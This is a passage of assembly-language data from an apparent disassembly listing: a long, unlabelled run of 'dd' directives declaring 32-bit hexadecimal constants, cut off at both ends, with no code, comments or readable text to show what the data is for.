57A94D94h, 78D5EEACh, 4BF3DAA4h dd 9C26A13Bh, 0B912BCC9h, 0F21B40E6h, 891DAE15h, 0C0FA30A9h dd 40E3449Bh, 84D1E4A8h, 0E98F3955h, 9D8977A6h, 0F9E550F0h dd 31CF6362h, 3F163A8Fh, 76CA1C9Eh, 0A06D6C06h, 9DC690F2h dd 23E6EFF9h, 0AD622333h, 0F2452843h, 8B0AFD2Bh, 0EE9C6E5Fh dd 0DD7B716Eh, 1D71A433h, 44A8872Eh, 133B46B4h, 90E29CD3h dd 54F60B9Eh, 0F417624Ah, 0A8EDF4CDh, 0DD3F1AF4h, 41FB0878h dd 687C05Ah, 808EBC99h, 3C3D9BCEh, 973AD88Ch, 4A27BF30h dd 10AA8FD1h, 306C7D0Dh, 86526DA1h, 0A7A329F9h, 0A95060B5h dd 96112C9Ch, 0DA755AECh, 8C89181Ah, 7A912DF1h, 0DB389BEFh dd 0F965FB36h, 99886449h dd 0E388A387h, 6E1EF2DEh, 5150BA71h, 0F6C4DB1Dh, 9DDFEABBh dd 30861986h, 0D91ED9D0h, 2DE97E22h, 21AF8C78h, 90361A28h dd 2DABC390h, 0D8D410DDh, 761BD041h, 0DF4D1826h, 4BD9D52Eh dd 48C4E354h, 96B5C363h, 88138BE9h, 67536FF6h, 62076BC2h dd 0F77F9580h, 5C692919h, 194B764Fh, 89FA20B2h, 0AC320CFCh dd 50A3190Bh, 6696292Fh, 2AD732A3h, 3F81AC38h, 27A565B7h dd 96A99D4Dh, 5153EBE9h, 18D3562Fh, 0D80889C9h, 1A3B4022h dd 7146A142h, 0A50CA48Eh, 3382C61h, 2F79FAEDh, 0FD25133h dd 613273F7h, 928CE0D0h, 0C5C56394h, 345243FCh, 0B0BD06D2h dd 21B57634h, 0D57E9CC0h, 897D2C1h, 53536B14h, 4D88E8FFh dd 84F5F876h, 3B86DC90h, 5FC1CF29h, 0E77FD334h, 0C3BF7D0h dd 0CF2BD8EAh, 0B1B52240h, 1FA22610h, 0E24309F4h, 0CE79BB66h dd 0C7758308h, 51B8407Ch, 91554DAFh, 7BAF4AEAh, 44A8A33h dd 9D447C1Fh, 5B088CAFh, 2239298Ch, 0EF6DFEF6h, 0E563F30Ch dd 40BD7453h, 0FA38CF18h, 827669A0h, 7DF4B059h, 0CB6B1FEDh dd 8D3B7582h, 57E8BC67h, 624F177Fh, 0BEC08301h, 0F9D64CAFh dd 0FCA978EFh, 0B24BFEC7h, 8AB9D77Bh, 0C63CACCDh, 77E79D5Bh dd 0B8C6DFC4h, 0EC8E96A1h, 867A0758h, 55CA4052h, 0DFA5C612h dd 8909924Ch, 0B4EF5675h, 0F8F0CE6Dh, 817FDAD1h, 15019114h dd 0A5C34CE8h, 28D447BEh, 0B313320Bh, 85D5739Fh, 9C08BE2Eh dd 279A09A2h, 2C7B2F10h, 0E45DB41Bh, 9BA6AE2h, 16C49EE8h dd 0A79AC2F8h, 524FD3C8h, 0E0C09287h, 679AAD7Eh, 81A64785h dd 60D9FAFFh, 0BADC86C0h, 50CB897Ch, 0E731359Bh, 51CD5017h dd 75B64Fh, 0C1F53D0Dh, 35A7A9C4h, 25C19596h, 0EAB2BD39h dd 37992DCCh, 231803Ch, 2357B1A7h, 98C36831h, 0A197A1B0h dd 0A9365FB8h, 75B012ADh, 8C04B6EAh, 4EBCF6FCh, 104DFE9Dh dd 7A6003E1h, 0EDD60A25h, 3C752CF4h, 0FE5BD8C1h, 42907CE3h dd 6A35FBC9h, 9234B26Ah, 3874243Bh, 413A972Bh, 0E90453ABh dd 6E4EFD20h, 0E5D1F192h, 0B46D6AFDh, 0EA8FAF2Dh, 0C646CD61h dd 0D64E3706h, 0B654DAF7h, 0A3FDB52Fh, 61461F68h, 7F218C96h dd 99EB2677h, 0C87A8693h, 0E1639E4h, 0E5D4C932h, 0BA8D0FA4h dd 4C42A6B5h, 536C6027h, 4A72AAFEh, 5CF51FCDh, 1971B3A1h dd 0BED56483h, 2C848F19h, 890BDE92h, 0A0F54B78h, 885467A8h dd 3C147CFFh, 708F75A3h, 935E0FA0h, 2F3FF05Ch, 0FC7B1B85h dd 29A3EC93h, 554F05DFh, 0D9249938h, 0F20D6034h, 0DFBE0944h dd 0F0C2D23Ch, 0FE5B3ECFh, 604C6A9Eh, 0C04EE5B8h, 1D296511h dd 0B177C43Fh, 246DDE13h, 0CDEADB89h, 4A1A3703h, 33E0F9AAh dd 29C9AC1Bh, 0EF07897Ah, 0D6DD5FCBh, 357D72EEh, 0D55D2DCBh dd 1683127Bh, 49880B03h, 48EA75B2h, 0FF93B73Ch, 0BB241B1Eh dd 0A1F9E62Fh, 28825B24h, 7CD99A5h, 0BF2EC82Ch, 0C288EB62h dd 9736373h, 0EF9DF002h, 18F180A8h, 6063C639h, 90A1DBE3h dd 0F1C02774h, 0E747CDCCh, 3ABDA098h, 308F8A3Bh, 4C42DEABh dd 58BD2F7Dh, 680F1EB7h, 519577D7h, 0FACC4920h, 60132ABFh dd 2413CC12h, 6E7E3A22h, 23227932h, 5BD5AF70h, 0F0A91883h dd 5A00A58Ah, 6F95854Eh, 0A6123B95h, 1E1862CCh, 8F1CAC5Ch dd 0CC5CDA29h, 0B0CF2713h, 788E56BDh, 0B651F06h, 0C575978Dh dd 0E51FE7C2h, 183AFE8Bh, 0B3F97F18h, 0B25F3170h, 0E4D49542h dd 5DE413C3h, 0CCAADCB6h, 7DBF64FAh, 737924C2h, 221E5B58h dd 9CB35BA8h, 0AE80DF0h, 41C9ADD4h, 57119995h, 7F810782h dd 0C36A1B30h, 0BB27A277h, 0F0FA7527h, 6F2E1F47h, 8B69B819h dd 11944422h, 0B30B49F8h, 8D15D64Bh, 49956734h, 0EBFA4D81h dd 938CEC1Bh, 28B398D7h, 0BD4D7853h, 0D8D5BF09h, 620AEF9Eh dd 0C06209AEh, 95B37066h, 1CAC866Bh, 13A2CA82h, 65136AB2h dd 55154202h, 0E9F477h, 0C08ED60Bh, 3B17A69Eh, 34106497h dd 16AF183Ch, 8DAF5623h, 0FF0486DBh, 6EF32012h, 403903BCh dd 0E49CF832h, 0F497FEBDh, 0CDB1E206h, 0E5971192h, 8BBA6D4Fh dd 2B98F06Ah, 0CE65552Ch, 0F64D754Bh, 0A932C51Bh, 1B502FEDh dd 0F9F233D0h, 61186546h, 735E37E6h, 0E64FEB0Ch, 0C07920E6h dd 0B0C53AF3h, 9ACB8FFBh, 33A1322Ch, 0A354A271h, 38CE0075h dd 9EA91657h, 48B218D1h, 63324D0Ch, 38B4A140h, 4506F554h dd 0EF3B2C5Eh, 0D19F2F65h, 1B4E6C9Ch, 0FDCB6E2Dh, 1D1A06FAh dd 0C1CB34ADh, 0DE55B41Ah, 38A38DBh, 0E47CC671h, 8EB243A4h dd 3E91B7C9h, 0BA056DAh, 16B04275h, 0F005E745h, 0B7E659FFh dd 0FD12DB39h, 43B5BD4Fh, 95BEE3CEh, 0E55912F4h, 600E9F25h dd 8B471150h, 9742A966h, 0F15AD6CAh, 59E8E247h, 4745ECADh dd 8B43AB4Dh, 395EE7F4h, 83F28445h, 900FA806h, 0BEACB813h dd 0A3E32E64h, 0A3ACEF71h, 0A780C94h, 0B8ED9ECFh, 0A5AE8959h dd 0A896E089h, 64164701h, 0A6ED61A8h, 0C17B65B3h, 1750201Ch dd 0EA478E90h, 495FAE5Fh, 5F81DB45h, 0ADA86A97h, 82943D5Fh dd 4DE74118h, 0E5EC6008h, 7662E80Eh, 0B357C054h, 4CC43CEAh dd 63199795h, 1BA15C8Ch, 149DBC8h, 9632F810h, 1758A7E8h dd 80E1C731h, 8391E2C6h, 0E5D054C9h, 0F8DA2A31h, 57A63B37h dd 7B29EDEFh, 0DF9852E4h, 5456CE7Eh, 0E22B5BF1h, 3BE517CCh dd 48FA705Ah, 0FD751A90h, 472AA2CFh, 22E34671h, 0A0BFE9A2h dd 9D5BEBBh, 21EA4DC0h, 87A39399h, 0FA0695F2h, 38008526h dd 5AAE3D8h, 21AD2568h, 1E60EB5Ch, 2D02FECBh, 28DCCF6h dd 0D7A006DEh, 43249E7h, 0F67CCD5Fh, 0A6E02A69h, 4BECD486h dd 60CD0F8Ah, 0A6BFCA0Dh, 0EA8DD0FDh, 0C608BFD6h, 0F20F3DA7h dd 9559793h, 2E2F3151h, 0F0D16E4Dh, 0CD02F491h, 8FC7BD79h dd 710368FDh, 9BC11EFCh, 47924B70h, 18E1522h, 895A322Dh dd 75E3EC41h, 0A77E1A3Bh, 55E7EDC4h, 6D40815Ah, 73AE3A69h dd 83B572ABh, 0A6C6B0EDh, 3973521Eh, 9C43B489h, 9C2D9A72h dd 8016D60Eh, 8D0837DAh, 0E7A34FE1h, 65B6A56Dh, 951B0C7Eh dd 0A834E0C2h, 0BA4192FBh, 0C4B8E9E3h, 5B0E2B1Dh, 0AA322AEAh dd 952C22EEh, 0D8329457h, 0C3AD1E6Bh, 198FA3A9h, 49F9B969h dd 9897B208h, 5602D64Eh, 6E05B424h, 82553AD3h, 0DBDC33EFh dd 0E2D75C3Ch, 546F9806h, 413D4B77h, 4E156AC4h, 0EAEE3724h dd 92BA7785h, 1D3199D9h, 0C702A48h, 911EBA7Ch, 47D8B0Ah dd 0CF45F20Dh, 0A2809135h, 0B01821A5h, 23128078h, 653E89Ch dd 0CAD20903h, 94E89E81h, 5B3C43C9h, 0E31CA7B0h, 78D3C00h dd 0B220676h, 3AEB36E8h, 5ED061D1h, 0AF639A95h, 4E009EDDh dd 9C2F4D6h, 0E19CD52Eh, 0A318E6EFh, 0F276D2F7h, 45CD7090h dd 1A9E0101h, 72B3C91Ch, 28830744h, 38AD3919h, 0F1859498h dd 986D6808h, 0CE6A430h, 0E2027323h, 329EDC7Fh, 0DF2871A8h dd 76611694h, 7591D573h, 0B02A3B3Dh, 95277E4Bh, 53D02823h dd 61539DB0h, 777E3A3Eh, 8D6C9C18h, 66EC50A6h, 0E971ADCh dd 6F17826Fh, 9BE9F166h, 6AD8009Fh, 0CDBF933Ch, 298C9242h dd 1BA12A2Ch, 5AE48277h, 67738FC4h, 93479B2h, 20D271Bh dd 220197AFh, 1F0B9A3Dh, 862BBD55h, 6A776FECh, 2BDF8995h dd 709CB590h, 489994F3h, 52712385h, 0C79BC70Dh, 961AA886h dd 0AD20766h, 2583ACB1h, 716DA43Ah, 3FC89AFAh, 6CA6CDEFh dd 0DDE7D5BEh, 5AE7A0Bh, 0A0F6CD79h, 0B06EAB67h, 2631897Ch dd 93032417h, 87B706E1h dd 7BC4B8E6h, 723380B4h, 2616AA91h, 0B11EFD2Dh, 79B6319Bh dd 18EB64D9h, 93EA376Eh, 1E34B83Ah, 0E9FAEADBh, 51AFBD92h dd 9663AB93h, 0C327A7DEh, 0E62BD500h, 73AD3351h, 99FAF6FFh dd 0D91F2B34h, 0C5061E98h, 0E1A94910h, 60F18320h, 8D50EC4Eh dd 2EB92098h, 6D296B50h, 3B0720EBh, 8BFD0B5Bh, 0F6F82026h dd 9AA4D6E2h, 0C3446DD4h, 0F7C09560h, 0EF528A15h, 0D0F4A796h dd 0DE2A974h, 4D3AF035h, 0D0300272h, 0E536FE6Bh, 6054808Dh dd 76F182E9h, 0F843A94Ah, 82AF11F8h, 0D94C5691h, 6F11D4BAh dd 6BED19FEh, 0EBC2EA47h, 5FD693BFh, 8B693CEh, 48D19E87h dd 0E83E9116h, 0E66966Bh, 0BDCA07DAh, 57416623h, 3B9714D0h dd 72C4FF4Eh, 87F51EF2h, 0FA350D55h, 3A377862h, 29C94DAAh dd 0E77B5544h, 3AE84216h, 2E7E6D71h, 4DB1C475h, 0F6B84ACBh dd 6B19E630h, 761188DBh, 554DC8B4h, 1F38E9D6h, 12DA58A0h dd 7020F17Dh, 80C09E3h, 0A2A14ACBh, 0A0B411F0h, 0B0286E62h dd 3E274817h, 0BBEA90AAh, 0F1462C0Ah, 0D535B791h, 1977FA73h dd 91057912h, 0FB7CCFCAh, 5E9C5FDDh, 2EB1D3EDh, 0DA699C90h dd 0FBB13BFh, 0DC8B8EA7h, 0ECF68985h, 7683A16Dh, 3BB5EEF9h dd 0ACAF44CAh, 7F44AFEEh, 0D1EB4D04h, 6A65773h, 0DE3EE6FBh dd 3E766913h, 0A7F899FFh, 427EBD1Ah, 8E6C8888h, 35F310D3h dd 92B43EB9h, 22FC78CAh, 0BA386878h, 24AABDFCh, 0E44304Fh dd 57D3B7F7h, 8EFAB0BAh, 0FA789098h, 0E3876EC9h, 396A7D26h dd 0ED070FDEh, 34D261DDh, 4FDCCE0Dh, 0C11824C0h, 12701330h dd 0C29BEA7Bh, 3BA4F6A1h, 0DD13738h, 0A47F5E95h, 493BEE2Ch dd 59DBDDE4h, 0CE58D5CDh, 0B593C029h, 0E92237F9h, 6FAEA31h dd 388439FFh, 4607306Bh, 61FD1790h, 23D26EC2h, 45EFBAEEh dd 317CA48Ah, 54B24744h, 61147620h, 0C4311F1h, 0E6CE6733h dd 7F512A0Fh, 41B2ECE7h, 0C28CDC0h, 395447C6h, 0FD04BF31h dd 0D04FA9EFh, 0D5C85615h, 0DC5E181Eh, 17C2D504h, 9EFA3E3Bh dd 0F4DDDD97h, 15CC8B64h, 26FFD5C9h, 23CF818Bh, 0AD8AD71Ah dd 16E7C6D6h, 0D761E1B9h, 1B86B3C0h, 2A08B6C7h, 0E576D499h dd 86D8404Dh, 0BE90C7E1h, 0A6269FF5h, 62D47F06h, 3A8D6F21h dd 0E3C028C0h, 213D7D6Eh, 0F7A2BFA0h, 460E9347h, 0D680A06Ah dd 339028B9h, 64456BF4h, 1C9F69D0h, 6F3EAD3Fh, 0E5285E35h dd 60BA19FDh, 4BEC0993h, 172E863Ah, 5AC954F6h, 8B714CB1h dd 0D57B25C9h, 5A0DFBFBh, 3165DAB9h, 0F044DCF7h, 108D6D96h dd 2A277C1Ah, 0D4E34969h, 64C6E69Fh, 8D94A7D4h, 0E52AF74Ch dd 5C9B760Dh, 200FBCB7h, 0F6AED0D4h, 0F4D308C2h, 0A24EF2AAh dd 0C753B64Eh, 0F52C07B6h, 0ABC5BD32h, 0E9EAA994h, 0F27D75AAh dd 6BB39785h, 20DC09D4h, 0BA21248Fh, 5D200F39h, 0EAD4FAB1h dd 0E73206C5h, 441F1228h, 0ACC98C2Ah, 0E202F5Bh, 78D9D1CBh dd 0FCC5C030h, 19F89923h, 3AD46CE4h, 916DC225h, 0A1D8F70Eh dd 3E20E65Bh, 1F5804Ah, 0B770D83h, 73EE1B29h, 0F3CE2D40h dd 81C8A9B4h, 0E4DE94ADh, 447641CEh, 0B9B3550Eh, 113F3134h dd 28759F10h, 0FDEE5ADAh, 0E1668AE1h, 0AA435BD6h, 0F7927C8Eh dd 0D8C066FEh, 565293A0h, 0FC8D29B2h, 0D6D4C659h, 2DFF9BD5h dd 0C8FA4A1Fh, 530DB77Dh, 8415EFA3h, 37684481h, 353A359Bh dd 0BDC2A434h, 61AE94D5h, 3CC0CB65h, 0BE3D5AF2h, 9F8BC6h dd 6A31D9EAh, 735E0942h, 2E7B2A1Eh, 3846F05Fh, 5580EBC1h dd 4F6202B5h, 0B10C600Eh, 5CDF3895h, 801C68BCh, 0C71750F1h dd 0AD592AF2h, 842B4C47h, 509ED89Ah, 0E0CED76h, 6E9F1EDh dd 0B52E2242h, 3455A81Dh, 0B25253FBh, 0A3765460h, 0A98B82A1h dd 52611751h, 81D85BF5h, 7CD05254h, 5E896FB0h, 8D50C5C4h dd 6BE98FF0h, 0F66C3E4Eh, 2C81876Ah, 9BE95993h, 7ADD4BDBh dd 0A5AC6ADh, 1373492Dh, 0BF0C9E1h, 776A111h, 0AB478241h dd 0D08837BEh, 936B8800h, 2F4EAFD6h, 0BA32E46Dh, 44C5804Eh dd 0BAF1975Ch, 444AF58Eh, 0DA5FF318h, 5A8F2A44h, 5719F628h dd 94A3FFA1h, 43A66DFBh, 5C6EAFB7h, 0CDA90D87h, 0F04A7E29h dd 3CCB585Dh, 0ACBFC501h, 643FAFA5h, 444EF65Fh, 540FE860h dd 0A06D1989h, 42DC0B39h, 917D91F1h, 249E6483h, 0F005CA0Dh dd 71F3CB8Bh, 2DAB76B4h, 0A5178394h, 45D223D0h, 0C0A826F5h dd 0F769FCA7h, 9E5B2272h, 3F26E028h, 0BCE9EA1Eh, 0BE36D1F6h dd 0F728D75Ah, 62DA0DE3h, 20A511BDh, 0E9824293h, 0E227D6BDh dd 7A00CBE4h, 92F427D6h, 0F1309299h, 0F1B0BFEEh, 20DB7258h dd 66B2DAD3h, 0F1293492h, 342E4B01h, 0FBC0AC9Eh, 0BCEA9C5Bh dd 0F49D91BEh, 7875FCA1h, 66BB6182h, 0C4A24F74h, 3CC3F058h dd 9BE25AC8h, 0D8EB728h, 0A332DCBEh, 4E97B49Dh, 0B6427D24h dd 75959656h, 53C4AED2h, 23BAC01Dh, 9E38EB64h, 53D87448h dd 19C0A10Fh, 0E944E4A5h, 0A89D5692h, 0D7B057FFh, 0D3608FC8h dd 19F96BDBh, 0DAB39D45h, 2B2D33C4h, 0CC2D8911h, 415FC2DDh dd 0F5ED2160h, 318FAB52h, 5AB36FD5h, 0C96D50Bh, 6CE4BD26h dd 704EFC26h, 0E23C8043h, 0B34D91EDh, 2D64A0D9h, 34938374h dd 0A95BF895h, 3DBC9D58h, 1ACD1B13h, 1F67F1E4h, 1B3FA6C1h dd 2E4C51DFh, 713FCA77h, 0A70EB39Bh, 46F4E95Fh, 0B3365C4Fh dd 406931A4h, 63F039E2h, 0B2498A3Fh, 0DE002EE6h, 58C6368Ch dd 39722020h, 935280E0h, 0ABE13CF1h, 0ADDA7753h, 45D0359Dh dd 0F4C8A201h, 0E58C3DDFh, 0F48B6C07h, 0C9F77A7Bh, 796EBC6Fh dd 1603EC7Fh, 7677356Ah, 0CEDF1A0Eh, 2E7162DDh, 0A284B412h dd 0F6EDB964h, 82BD5F96h, 73ADEA8Ch, 8DA76123h, 688AC365h dd 7A5874E2h, 12DAF99Fh, 0CEA9C5C0h, 0D1A60C4Eh, 0F35E790h dd 87F93FEh, 0D24B4771h, 7DB3609Dh, 659280B5h, 0E3AC909Ah dd 95BE7EFAh, 414179B8h, 50290338h, 0F5FA6E4h, 30D5A400h dd 24ECC7E8h, 0E9824507h, 2FDBEF26h, 0E83EDFDEh, 173B2AFCh dd 26685B2Eh, 16C13DD6h, 2937D51Ah, 0B111229Bh, 158CD056h dd 6CC904Dh, 4882390Fh, 89D313B7h, 0B5F8C794h, 0C3E179A5h dd 0A56646C5h, 5A098705h, 0B152B2EEh, 7A01963Bh, 0CF774236h dd 0EEBD8ECCh, 0C00AF068h, 2821A8FDh, 0A3522B90h, 0FF19CC6Eh dd 107C4114h, 77A8B3C7h, 50EB8E09h, 3259A0ACh, 0F9BA0051h dd 78F99112h, 0FAB811FBh, 206ABAF7h, 54FEC98Bh, 0A337ECD5h dd 0C020AAC7h, 0CFB2BA78h, 38134DB4h, 6D9A7CD6h, 0D068834Ch dd 0C35CE999h, 70F8410Fh, 445A1F45h, 32F8EAF1h, 0ECC7074Ch dd 0A99248Fh, 73BCFBB5h, 68513E73h, 1578591h, 7EEEB0DFh dd 3202AC5Eh, 333C114Ch, 0D57CFD81h, 68DE79EFh, 983E09EBh dd 0CDA171D6h, 95465678h, 8C507C83h, 7EF97548h, 84246844h dd 2C24FA04h, 483C9638h, 604E44DDh, 0ED0A76ECh, 9F7D9A7h dd 637C8D8Eh, 0FCBE7360h, 86336299h, 265F3525h, 0AD840A69h dd 6DFE6A0h, 3F2EA8E5h, 954C8D34h, 0EFD2DE13h, 0F72A710Dh dd 4EEFF9C6h, 0AB829142h, 99639A22h, 7F12454Ah, 4C3A50BCh dd 672E60C1h, 37FE7F14h, 5641D1ECh, 519693B4h, 244AB4B9h dd 360E1217h, 0A7C07D7Ah, 78DE9FE2h, 0DD00364Ah, 0AD21A9E1h dd 3F7BC7BBh, 4939E428h, 28E52C4Dh, 0E0F1DC87h, 322A1873h dd 4B8121CEh, 0A18A9DEDh, 17A01F83h, 0BFC7DE30h, 529A4EF6h dd 21C551A1h, 3770C29Bh, 803F111Fh, 82077Eh, 0D5C0B36h dd 44A8E44Dh, 0AD6BF511h dd 66FA136Dh, 0FF917F26h, 0E1EB86F2h, 73A1AD8Ch, 0DD7D83A1h dd 0C49624A8h, 0EC3A5C61h, 77F993E4h, 2562CC92h, 0A8046755h dd 59C7A9C1h, 3A96057Eh, 0B465B693h, 2FF65A5Ah, 0C5617456h dd 0AC33D173h, 67C2027Fh, 0AF17F6C8h, 8DE7E657h, 0EED91A7Ch dd 0F8EE5F39h, 23D68344h, 8609CCBEh, 96646DA7h, 0FB6A7B4Ch dd 69A490C1h, 254E7D23h, 0AE1B9EA3h, 0F139D1C5h, 2DEB0FD8h dd 5886D27h, 2BC57223h, 18D9D8CAh, 990E78B8h, 0ADE4E9Ch dd 0C54B1AFFh, 5E5A7A7Fh, 89F53A87h, 7E535521h, 65CED0FCh dd 0CA03331Fh, 0A224C11Dh, 73861426h, 2AE313FEh, 0D54A793Bh dd 600ABF25h, 6EFE5BCDh, 0D0C27D0Ah, 0E1F1A50Dh, 0BB16C4D4h dd 7B1A5005h, 22BC528Bh, 8B8CD241h, 0D668AF3Ch, 2D21C52Dh dd 960A43BDh, 0D3A82933h, 4010D518h, 0A332CD0Dh, 95164AB4h dd 0BFE92274h, 0EC863684h, 7E27836Ah, 68643109h, 0B22EF8Fh dd 69AC1B2h, 7CEC715Fh, 0F97E958Bh, 7740FD2Bh, 3EA4E0A7h dd 5AFFA927h, 7613A674h, 0FA565FD7h, 819A5F20h, 0EFD1350Eh dd 58CBCB8Dh, 88808CA1h, 3FE1C305h, 0E36A4438h, 86FE809Ch dd 1D4006F0h, 84F0ABEAh, 0A7D6F32Eh, 9F791B4h, 69C4A56h dd 0E4F6BFC3h, 26FACC36h, 0F8EEA44Eh, 301D1B42h, 0AFC08AE9h dd 99890C66h, 0C7945B4Dh, 5921D2F5h, 42ABC686h, 0C79E6A8Fh dd 6A15D703h, 0E73D680Fh, 0EFA2FC85h, 9BC55EEFh, 0C44AC794h dd 71B8EE1Ah, 1E25526Bh, 52F4F2EDh, 95909BDDh, 5E9A7F43h dd 2E8B0BCFh, 44B6164Ch, 608BDD7Dh, 0A0472A4Ah, 0D2CB8E4Ah dd 18ABA280h, 0ED16E479h, 0AA645FD5h, 9AE99A4Bh, 0DC10E5C6h dd 38800C1Dh, 123DC972h, 22623930h, 0B6902D43h, 0C881F004h dd 0E0C619F2h, 65BE5E9Bh, 6E4D1C9Dh, 3F540B57h, 3B388DF3h dd 82AD151Bh, 43DABF41h, 0F30CD5DEh, 14B849FBh, 0BE1C6DD1h dd 8CB51CBBh, 0AE3DA9D3h, 6B93A0B5h, 0C27D2D1Bh, 0E24C2D2Eh dd 57EE4938h, 0E341CBD2h, 0F7456FC0h, 40A2D2CEh, 0ADEEF3E0h dd 809AB433h, 0E1CE3FB2h, 5E4E1E57h, 55989EB1h, 5BFDB593h dd 0C7FEFDADh, 566ED673h, 9AB1AA1Bh, 8BE4605Ch, 0BBDFCF9Bh dd 10939EE7h, 0FDF56073h, 0AD6DD998h, 0E6F80A11h, 472D202Fh dd 0BF02B73Ch, 3A5D9E1Eh, 0C4CB4B97h, 0EE1CA422h, 0FCFCEFA7h dd 9917901h, 227E7361h, 3A079F5Ch, 99C27E8Ah, 0E21686ACh dd 0C13E8FFDh, 27B514A9h, 0FEE6A06h, 93B01ED9h, 0E0E5691Eh dd 174A08Ch, 0DFBFC89Fh, 0DFE283E6h, 659D4CA7h, 97112A37h dd 53AEBD35h, 0D1CA76Fh, 0CE92FD3Eh, 22CD0538h, 0E06D4BEAh dd 0FA05F5ABh, 888ADBF1h, 0CABD040Fh, 0D060792Fh, 0BE39F09Bh dd 54AAF0BAh, 0E58856BAh, 3454EB92h, 53E42C53h, 6E9F1D39h dd 195B8822h, 0A0436A73h, 840C3A81h, 0A5DE0A7Ch, 0D5521FB1h dd 0E68500E5h, 4BB6F287h, 0F8832E49h, 0A7924A6Bh, 40F2745Fh dd 36CED7ADh, 0BA39D819h, 9240C5FCh, 324A1DF2h, 727A8AB0h dd 0E51CB01Dh, 3A1ECD8Bh, 27DE496Ch, 0D40328C6h, 0B6906C92h dd 0D47577C4h, 7FBEB638h, 0CE0F4201h, 3BB287BDh, 0A54945C2h dd 359D37A7h, 0B4EE0474h, 4A10BBDFh, 0B1A24D99h, 0C1514CDCh dd 0BB2146h, 1CF278F2h, 0FA4496F2h, 7631EB85h, 74FADE15h dd 7481CBA0h, 3CB39913h, 63EA3AD7h, 104BBDB8h, 0BDC85005h dd 0F0ECE8FFh, 38250F74h, 0A9DA0D8h, 0F0FF6D9Dh, 1AADE171h dd 6EF21194h, 730E6DABh, 5DDA1B82h, 300D7484h, 37A15930h dd 922E7063h, 0A30534D7h, 0CEBD292Dh, 0B450F5DEh, 11AC5C0Ah dd 5963CCE0h, 146A41D9h, 316CF24Eh, 452BECA1h, 0D85827A5h dd 297F3868h, 8537C614h, 3D177F70h, 27A0E8C4h, 82DBFE5Ah dd 60C27143h, 4C3E4CEFh, 6769FCD5h, 0CE1A3387h, 0D762186Eh dd 47D3B046h, 9164E7D9h, 590495C2h, 91C64143h, 844F9DFh dd 0C2908582h, 966B69Ch, 0C760EBD8h, 686A5FEDh, 898E9A47h dd 0BDF2AD45h, 0C43B9235h, 0DD0763C1h, 0F7EEC88Fh, 7C4F15Eh dd 0BAE77399h, 11791DB4h, 81A1DDEDh, 3464AD16h, 0BDB1FC6Ah dd 0C5857F62h, 0ABB80C2Dh, 292AF52Ch, 0DBD9C13Bh, 0C940CED0h dd 0F06E9E9Eh, 0CE319EBCh, 0CEF80EBCh, 59EF82C9h, 34084538h dd 0F94949BEh, 0EF59BD78h, 2A4146BAh, 7442BCF0h, 0EC0E310Dh dd 92A18281h, 0D685F956h, 0F092A1F2h, 0F6A12D1Eh, 4BE79B01h dd 32FCB588h, 7149C7A4h, 0F290678h, 0B5502367h, 51582A1Fh dd 808ADD33h, 3A1E3FBAh, 0EC39B1C2h, 18989D0Ch, 8A466F06h dd 2AC52B2Fh, 347D0365h, 6A0CF8B9h, 46EC6C20h, 67145F30h dd 4791C6A2h, 781C8006h, 61AA8FBCh, 0AE90C03Bh, 8C0AFAC9h dd 0C6F687CDh, 29E50DBEh, 0ADFA5ACCh, 0DDAEA5BFh, 0CA2AB0D1h dd 0C05FA6Eh, 0B3B294FFh, 0BB53F23Dh, 0DBC76A52h, 3972EC9Eh dd 75B97E44h, 30FB6422h, 0A5DD6EC5h, 0EBC5BD59h, 5A582BAAh dd 0BEF96628h, 1A812B40h, 72222CD2h, 57240572h, 208B3489h dd 218EA739h, 0BFC0C861h, 8D6FE6E0h, 1305887h, 575394DEh dd 8E348900h, 149F725Dh, 1DEC8FD1h, 71DDE161h, 6F8AE6DCh dd 90D46E08h, 2CBB908Ch, 4B03E145h, 216E9E56h, 0D5FAE58Dh dd 9E212BC1h, 0DF9696CAh, 997D2C8Bh, 0D7B460FEh, 28FDF7F0h dd 92DC281Eh, 33BCC113h, 2D302E31h, 0FE4F6F76h, 0E0177D2h dd 9C40C664h, 0F13DFAFDh, 7B7BC061h, 2744A089h, 0CC3C3F7Ah dd 657275BBh, 0F1326AA1h, 83499D1h, 0E5B5E1F0h, 0D498A622h dd 0C1F8002Bh, 0BA685896h, 0C6293B0Ah, 1FDFA11Ch, 0D7BE308h dd 416ED7B6h, 5804814Ch, 15C2FDFDh, 0CD78B638h, 0BAAFF2C0h dd 0A042BD46h, 17D3F998h, 0B5F9337Dh, 71730245h, 0C0ECEDF3h dd 0D0348B8Dh, 4B4E9844h, 5AFB993Eh, 0D524C54Fh, 6440254Fh dd 0EA55719Dh, 7068F230h, 9C070989h, 0D2E56888h, 91982477h dd 0CD7B7DF6h, 0C4404F8Bh, 9ACD4188h, 4B046D2Ch, 8C03EF55h dd 1F83B9FCh, 1C58FA80h, 0FC2C60C4h, 337B60F2h, 5C9AD2D5h dd 0BBAE44Dh, 0ECE74A18h, 6A932B6Fh, 0B781CD8Dh, 0D1EF85CEh dd 6AD83B0h, 3EC635E8h, 8F399170h, 50627749h, 94A5DA28h dd 6E8DAF71h, 18F79B47h, 3EFDDB17h, 442B6A7Ch, 0A39D1254h dd 0F0EE025Fh, 0C7B41619h, 321C3DBCh, 0F66096AAh, 996A1987h dd 79E45585h, 0D8FC4B07h, 70FE2D1Ah, 1014D577h, 66BE8281h dd 0B1251B33h, 45C93B1Ah, 0F9DE8035h, 0D989F887h, 0EE2E654h dd 1B50DB19h, 41B702E5h, 0AD24A001h, 72416228h, 9C747004h dd 7EDC0628h, 71EF1142h, 0F0BB7375h, 54AAFA75h, 7CBC749Bh dd 1891FB09h, 951C75CFh, 0A7CF0A60h, 0DFA59B05h, 8544416h dd 5AFB4DCBh, 0CC04BAE7h, 0EF83AC23h, 69CC9178h, 0B019C4E0h dd 4A76BDCCh, 0D92F5377h, 8D731F28h, 0C3CB8F01h, 25CA61EFh dd 7EB57C2Ch, 0FEBA4CBh, 208C1880h, 3C1EE0BEh, 0B0CC6E36h dd 0A100770Eh, 69D24249h, 9198E820h, 61C1143h, 0D03DC71Bh dd 0EBD65B59h, 0BF63A8BBh, 100CCF94h, 0BC650E95h, 6AB554A0h dd 0FFA468AAh, 55D9428Bh, 0A6FDF6CDh, 95B71E0Ah, 70B781F5h dd 695AE006h, 7E93DBA3h, 9BEE6B67h, 0F5971267h, 2F88929Dh dd 0BA90437h, 17CFDD53h, 6EF4964Fh, 8D49300Bh, 0F00D91B5h dd 8C0D5342h, 1EC33694h, 1A2016F6h, 0C08D7E09h, 9D0E95D4h dd 0CB6598E6h, 9DCFC87Ch, 2B8A2470h, 0DD729F98h, 30A24E61h dd 